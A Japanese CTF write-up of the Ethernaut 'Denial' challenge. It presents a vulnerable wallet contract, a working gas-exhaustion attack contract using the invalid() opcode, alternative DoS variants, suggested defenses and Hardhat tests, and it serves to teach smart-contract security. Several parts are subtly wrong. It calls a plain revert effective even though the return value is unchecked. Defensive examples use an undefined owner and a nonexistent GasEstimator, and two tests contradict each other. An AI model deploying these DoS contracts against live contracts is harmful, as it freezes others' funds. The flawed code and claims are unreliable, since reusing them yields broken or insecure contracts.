Appearance
スマートコントラクトのDoS攻撃を理解する:Ethernaut「Denial」チャレンジの詳細解説
はじめに
分散型アプリケーション(DApp)のセキュリティにおいて、サービス拒否(DoS)攻撃は重要な脆弱性の一つです。Ethernautの「Denial」チャレンジは、スマートコントラクトにおけるDoS攻撃の原理と対策を学ぶための実践的な教材です。本記事では、このチャレンジの技術的背景、攻撃手法、および防御策について詳細に解説します。
チャレンジ概要と技術的背景
問題設定の理解
Denialチャレンジでは、資金を定期的に分配するシンプルなウォレットコントラクトが提供されています。このコントラクトのwithdraw()関数は、コントラクトの残高の1%をパートナーに、もう1%をオーナーに送金する機能を持っています。チャレンジの目標は、オーナーがwithdraw()を呼び出した際に資金の引き出しを阻止することです。
重要な制約条件:
- コントラクトには資金が残っていること
- トランザクションのガスリミットは1M gas以下
- パートナーとして設定されたアドレスが引き出しを妨害する
コントラクトの構造分析
提供されたDenial.solを詳細に分析してみましょう:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
脆弱性の特定
このコントラクトにはいくつかの重要な問題点があります:
- 外部呼び出しの順序:
partner.call()がowner.transfer()より先に実行される - 戻り値のチェック不足:
call()の結果を確認していない - ガス制限の考慮不足:
partner.call()にガス制限を設定していない
攻撃手法の詳細解説
攻撃の核心原理
このチャレンジの核心は、ガス枯渇攻撃(Gas Exhaustion Attack) です。Ethereumでは、各トランザクションにはガスリミットが設定されており、この制限を超えると実行が停止します(Out of Gasエラー)。
Denialコントラクトのwithdraw()関数では:
- まず
partner.call{value: amountToSend}("")を実行 - その後
payable(owner).transfer(amountToSend)を実行
攻撃者はパートナーとして設定されたコントラクトのreceive()関数で、意図的に大量のガスを消費するか、実行を停止させることで、後続のowner.transfer()の実行を阻止できます。
攻撃コントラクトの技術的実装
提供された攻撃コントラクトHack.solを分析します:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDenial {
function partner() external view returns (address);
function owner() external pure returns (address);
function setWithdrawPartner(address) external;
function withdraw() external;
function contractBalance() external view returns (uint256);
}
contract Hack {
IDenial private immutable target;
constructor(address _target) {
target = IDenial(_target);
target.setWithdrawPartner(address(this));
}
receive() external payable {
assembly {
invalid()
}
}
}
攻撃のメカニズム詳細
コントラクトの初期化: コンストラクタでターゲットコントラクトのアドレスを受け取り、自身をパートナーとして設定します。
receive()関数の特殊な実装:receive()関数はpayable修飾子を持ち、ETHを受け取ることができます- 関数内部ではインラインアセンブリ(
assembly)を使用しています invalid()オペコードは、実行を無効化し、すべてのガスを消費します
攻撃の実行フロー:
- オーナーが
withdraw()を呼び出す partner.call()がHackコントラクトのreceive()関数を呼び出すinvalid()オペコードが実行され、ガスがすべて消費される- ガス不足によりトランザクションがリバートする
owner.transfer()が実行されない
- オーナーが
インラインアセンブリとinvalid()オペコード
Solidityのインラインアセンブリを使用すると、低レベルEVMオペコードに直接アクセスできます。invalid()オペコード(0xFE)は:
- 実行を無効化する
- 現在のコンテキストで利用可能なすべてのガスを消費する
- 状態変更を元に戻す
このオペコードは、意図的にコントラクトを破壊的状態にするために使用されます。
代替攻撃手法の考察
ガス消費による攻撃
invalid()以外にも、ガスを大量に消費する方法は複数あります:
solidity
// 代替手法1: 無限ループ
receive() external payable {
while(true) {
// 何らかの処理
}
}
// 代替手法2: 大量のストレージ操作
receive() external payable {
for(uint256 i = 0; i < 10000; i++) {
// 高コストなストレージ操作
}
}
// 代替手法3: 再帰呼び出し
receive() external payable {
// 再帰的に自身を呼び出す
address(this).call{value: 0}("");
}
リバートによる攻撃
ガス消費以外にも、単純にリバートさせる方法もあります:
solidity
// 単純なリバート
receive() external payable {
revert("Denied!");
}
ただし、この方法ではcall()の戻り値をチェックしていないため有効ですが、invalid()ほど確実ではありません。
防御策とベストプラクティス
1. Checks-Effects-Interactionsパターン
外部呼び出しは最後に行うべきです:
solidity
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// 1. チェック(状態の検証)
require(address(this).balance >= amountToSend * 2, "Insufficient balance");
// 2. エフェクト(状態の変更)
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
// 3. インタラクション(外部呼び出し)
// オーナーへの送金を先に行う
payable(owner).transfer(amountToSend);
// パートナーへの送金は後に行う
(bool success, ) = partner.call{value: amountToSend, gas: 50000}("");
if (!success) {
// 失敗時の処理
}
}
2. ガス制限の設定
外部呼び出しには明示的なガス制限を設定すべきです:
solidity
// ガス制限を設定した安全な呼び出し
(bool success, ) = partner.call{value: amountToSend, gas: 50000}("");
require(success, "Call to partner failed");
3. Pull over Pushパターン
受動的な引き出し(プル)パターンを採用する:
solidity
contract SafeDenial {
mapping(address => uint256) public partnerBalances;
mapping(address => uint256) public ownerBalances;
function withdrawToPartner() public {
uint256 amount = partnerBalances[msg.sender];
require(amount > 0, "No balance");
partnerBalances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function withdrawToOwner() public {
require(msg.sender == owner, "Not owner");
uint256 amount = ownerBalances[owner];
require(amount > 0, "No balance");
ownerBalances[owner] = 0;
payable(owner).transfer(amount);
}
}
4. ガススタッキング攻撃への対策
solidity
// ガス価格の制限
require(tx.gasprice <= maxGasPrice, "Gas price too high");
// コントラクトサイズの制限
require(msg.sender.code.length == 0, "Contracts not allowed");
テスト実装の詳細
提供されたテストコードを改善したバージョン:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Denial, Hack } from "../typechain-types";
describe("Denial Challenge", function () {
let denial: Denial;
let hack: Hack;
let owner: any;
let attacker: any;
beforeEach(async function () {
// アカウントの取得
[owner, attacker] = await ethers.getSigners();
// Denialコントラクトのデプロイ
const DenialFactory = await ethers.getContractFactory("Denial");
denial = await DenialFactory.deploy();
await denial.waitForDeployment();
// コントラクトに資金を供給
await owner.sendTransaction({
to: await denial.getAddress(),
value: ethers.parseEther("10")
});
});
describe("Attack Simulation", function () {
it("should prevent owner from withdrawing funds", async function () {
// 攻撃コントラクトのデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.connect(attacker).deploy(await denial.getAddress());
await hack.waitForDeployment();
// 攻撃前の残高を記録
const initialBalance = await denial.contractBalance();
// withdraw()の実行を試みる
try {
await denial.connect(owner).withdraw();
// 攻撃が成功していれば、ここには到達しないはず
expect.fail("Withdraw should have failed");
} catch (error: any) {
// エラーが発生することを確認
expect(error.message).to.include("out of gas") || expect(error.message).to.include("revert");
}
// 残高が変化していないことを確認
const finalBalance = await denial.contractBalance();
expect(finalBalance).to.equal(initialBalance);
});
it("should verify attack contract is set as partner", async function () {
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.connect(attacker).deploy(await denial.getAddress());
await hack.waitForDeployment();
const partnerAddress = await denial.partner();
expect(partnerAddress).to.equal(await hack.getAddress());
});
});
describe("Gas Consumption Analysis", function () {
it("should measure gas usage of attack", async function () {
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.connect(attacker).deploy(await denial.getAddress());
await hack.waitForDeployment();
// ガス使用量の計測
const tx = await denial.connect(owner).withdraw();
const receipt = await tx.wait();
console.log(`Gas used: ${receipt?.gasUsed.toString()}`);
// ガス使用量がガスリミットに近いか超えていることを確認
expect(receipt?.gasUsed).to.be.greaterThan(900000);
});
});
});
実世界での影響と事例
実際のインシデント
- Governor Alpha攻撃(2021年): ガス枯渇を利用したGovernance攻撃
- 多重署名ウォレットのDoS: 外部呼び出しの順序問題による資金凍結
- DeFiプロトコルの操作不能化: 重要な関数のDoSによるサービス停止
業界の対応
- OpenZeppelinのBest Practices: Checks-Effects-Interactionsパターンの推奨
- ConsenSysのセキュリティガイドライン: 外部呼び出しのリスク管理
- Ethereum Foundationのアドバイス: ガス制限とエラーハンドリングの重要性
高度な防御技術
1. リエントランシーガードの拡張
solidity
abstract contract AdvancedReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
mapping(address => uint256) private _callGasLimits;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrantWithGasLimit(uint256 gasLimit) {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
require(gasleft() > gasLimit, "Insufficient gas");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
function setCallGasLimit(address target, uint256 limit) internal {
_callGasLimits[target] = limit;
}
}
2. ガス予測と動的調整
solidity
contract GasAwareContract {
using GasEstimator for address;
function safeExternalCall(address target, uint256 value) internal returns (bool) {
uint256 estimatedGas = target.estimateGasForCall(value);
uint256 gasLimit = min(estimatedGas * 2, gasleft() - 50000);
(bool success, ) = target.call{value: value, gas: gasLimit}("");
return success;
}
}
結論
Denialチャレンジは、スマートコントラクト開発における重要な教訓を提供しています:
- 外部呼び出しの危険性: 常に最後に行い、ガス制限を設定する
- 状態変更の順序: Checks-Effects-Interactionsパターンの遵守
- エラーハンドリング: すべての外部呼び出しの結果を確認する
- ガス管理: ユーザーとコントラクトの両方のガス使用を考慮する
これらの原則を遵守することで、DoS攻撃を含む多くのセキュリティ脆弱性を防ぐことができます。スマートコントラクトのセキュリティは、単なる機能実装以上の注意と設計が必要であり、Denialチャレンジはその重要性を実践的に学ぶ貴重な機会を提供しています。
参考文献と追加リソース
- Ethereum Smart Contract Best Practices - ConsenSys
- Solidity Security Considerations - Official Documentation
- SWC-128 DoS With Block Gas Limit - Smart Contract Weakness Classification
- Gas Limit and Loops - OpenZeppelin Blog
- Reentrancy Attacks in Ethereum Smart Contracts - Academic Research Papers
この知識を実際の開発に活かし、より安全なスマートコントラクトエコシステムの構築に貢献しましょう。